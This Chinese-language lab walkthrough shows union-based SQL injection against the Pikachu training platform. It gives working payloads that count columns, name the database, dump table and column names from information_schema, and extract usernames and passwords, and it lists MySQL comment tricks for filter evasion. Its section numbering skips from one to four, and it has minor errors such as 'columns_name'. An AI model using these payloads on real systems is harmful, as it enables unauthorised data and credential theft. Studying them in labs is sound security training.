一、、破解 SQL 查询语句中的字段数
?id=1' order by 3 --+
// --+ 是注释,+ 加号 在MySQL中会转成空格
order by 1 ,by 数字几,就是按照第几列进行排序;如果没有这一行,则报错
如:以下语句,根据第一行排序
select * from table_name order by 1
order by 2,正常返回;order by 3, 报错;所以sql查询语句有两列;
用 + 号是转换成空格, --+ 是把 sql 语句后面的注释掉;
四、获取当前数据库
联合查询猜数据库:
id = 1' union select 1,database()
注意:若是数据显示只显示一行,将id=-1, 此处 id 的值必须是一个在数据库中 id 字段不存在的值,否则联合查询第一条语句的查询结 果将占据显示位,需要的第二条查询语句的查询结果就不能正常显示到浏览器中。
得到数据库名为:pikachu
五、获取数据库中的表
关键的三张表:SCHEMATA、TABLES、COLUMNS,它们分别能爆出数据库名,表名和字段名。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema(哪个库),表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
要记住COLUMNS表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name
常用到的三个字段名:TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME
构造uniot select 爆破表名
// 根据数据库名,得到表名table_name
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
或
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'
爆破出表:httpinfo,member,message,users,xssblind
与从系统中查到的相对应
六、获取表中的字段名
根据上面得到的四张表名,可以爆破表里的字段名;以users为例
构造uniot select 爆破字段名
// 根据表名,得到字段名 column_name
id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'
爆破得到字段:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level
七、查询到账户的数据
根据爆破出的字段,查询数据
构造uniot select 爆破数据
// 根据字段名,得到数据,以获取用户名、密码数据为例
id=1' union select 1,group_concat(username,':',password)from users
获得:admin、pikachu、test 三个用户的用户名和密码;至此完成;
注:concat是针对一行数据多个字段拼接,而group_concat是针对多行数据拼接,且group_concat自动生成逗号。
union select 联合查询 ,即合并取交集,结果中没有重复行,前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。
MySQL 提供了以下三种注释方法:
#:不建议直接使用,建议使用其 URL 编码形式%23
--+:本质上是--空格,+会被浏览器解释为空格,也可以使用 URL 编码形式``--%20
/**/:多行注释,常被用作空格